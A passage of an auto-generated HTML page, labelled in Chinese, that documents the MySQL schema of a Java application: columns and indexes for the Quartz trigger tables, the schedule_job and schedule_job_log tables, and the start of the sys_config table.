td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>LONG_PROP_1</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>LONG_PROP_2</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>DEC_PROP_1</td>\n\t\t\t\t\t\t<td>decimal(13,4)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>DEC_PROP_2</td>\n\t\t\t\t\t\t<td>decimal(13,4)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>BOOL_PROP_1</td>\n\t\t\t\t\t\t<td>varchar(1)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>BOOL_PROP_2</td>\n\t\t\t\t\t\t<td>varchar(1)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-10\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:qrtz_triggers</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_NAME</td>\n\t\t\t\t\t\t<td>varchar(120)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>JOB_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>JOB_GROUP</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>DESCRIPTION</td>\n\t\t\t\t\t\t<td>varchar(250)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>NEXT_FIRE_TIME</td>\n\t\t\t\t\t\t<td>bigint(13)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PREV_FIRE_TIME</td>\n\t\t\t\t\t\t<td>bigint(13)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIORITY</td>\n\t\t\t\t\t\t<td>int(11)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_STATE</td>\n\t\t\t\t\t\t<td>varchar(16)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_TYPE</td>\n\t\t\t\t\t\t<td>varchar(8)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>START_TIME</td>\n\t\t\t\t\t\t<td>bigint(13)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>END_TIME</td>\n\t\t\t\t\t\t<td>bigint(13)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>CALENDAR_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>MISFIRE_INSTR</td>\n\t\t\t\t\t\t<td>smallint(2)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>JOB_DATA</td>\n\t\t\t\t\t\t<td>blob</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_T_N_STATE</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP,TRIGGER_STATE</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_T_NEXT_FIRE_TIME</td>\n\t\t\t\t\t\t<td>SCHED_NAME,NEXT_FIRE_TIME</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_T_C</td>\n\t\t\t\t\t\t<td>SCHED_NAME,CALENDAR_NAME</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_T_G</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_T_J</td>\n\t\t\t\t\t\t<td>SCHED_NAME,JOB_NAME,JOB_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_T_JG</td>\n\t\t\t\t\t\t<td>SCHED_NAME,JOB_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_T_N_G_STATE</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_GROUP,TRIGGER_STATE</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_T_NFT_ST</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_STATE,NEXT_FIRE_TIME</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_T_NFT_ST_MISFIRE</td>\n\t\t\t\t\t\t<td>SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME,TRIGGER_STATE</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_T_STATE</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_STATE</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_T_NFT_MISFIRE</td>\n\t\t\t\t\t\t<td>SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_T_NFT_ST_MISFIRE_GRP</td>\n\t\t\t\t\t\t<td>SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME,TRIGGER_GROUP,TRIGGER_STATE</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-11\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:schedule_job</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:定时任务</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>job_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td>任务id</td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td>auto_increment</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>bean_name</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td>spring bean名称</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>method_name</td>\n\t\t\t\t\t\t<td>varchar(100)</td>\n\t\t\t\t\t\t<td>方法名</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>params</td>\n\t\t\t\t\t\t<td>varchar(2000)</td>\n\t\t\t\t\t\t<td>参数</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>cron_expression</td>\n\t\t\t\t\t\t<td>varchar(100)</td>\n\t\t\t\t\t\t<td>cron表达式</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>status</td>\n\t\t\t\t\t\t<td>tinyint(4)</td>\n\t\t\t\t\t\t<td>任务状态  0：正常  1：暂停</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>remark</td>\n\t\t\t\t\t\t<td>varchar(255)</td>\n\t\t\t\t\t\t<td>备注</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>create_time</td>\n\t\t\t\t\t\t<td>datetime</td>\n\t\t\t\t\t\t<td>创建时间</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>job_id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-12\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:schedule_job_log</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:定时任务日志</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>log_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td>任务日志id</td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td>auto_increment</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>job_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td>任务id</td>\n\t\t\t\t\t\t<td>MUL</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>bean_name</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td>spring bean名称</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>method_name</td>\n\t\t\t\t\t\t<td>varchar(100)</td>\n\t\t\t\t\t\t<td>方法名</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>params</td>\n\t\t\t\t\t\t<td>varchar(2000)</td>\n\t\t\t\t\t\t<td>参数</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>status</td>\n\t\t\t\t\t\t<td>tinyint(4)</td>\n\t\t\t\t\t\t<td>任务状态    0：成功    1：失败</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>error</td>\n\t\t\t\t\t\t<td>varchar(2000)</td>\n\t\t\t\t\t\t<td>失败信息</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>times</td>\n\t\t\t\t\t\t<td>int(11)</td>\n\t\t\t\t\t\t<td>耗时(单位：毫秒)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>create_time</td>\n\t\t\t\t\t\t<td>datetime</td>\n\t\t\t\t\t\t<td>创建时间</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>log_id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>job_id</td>\n\t\t\t\t\t\t<td>job_id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-13\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:sys_config</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:系统配置信息表</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td>auto_increment</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>key</td>\n\t\t\t\t\t\t<td>varchar(50)</td>\n\t\t\t\t\t\t<td>key</td>\n\t\t\t\t\t\t<td>UNI</td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>value</td>\n\t\t\t\t\t\t<td>varchar(2000)</td>\n\t\t\t\t\t\t<td>value</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>status</td>\n\t\t\t\t\t\t<td>tinyint(4)</td>\n\t\t\t\t\t\t<td>状态   0：隐藏   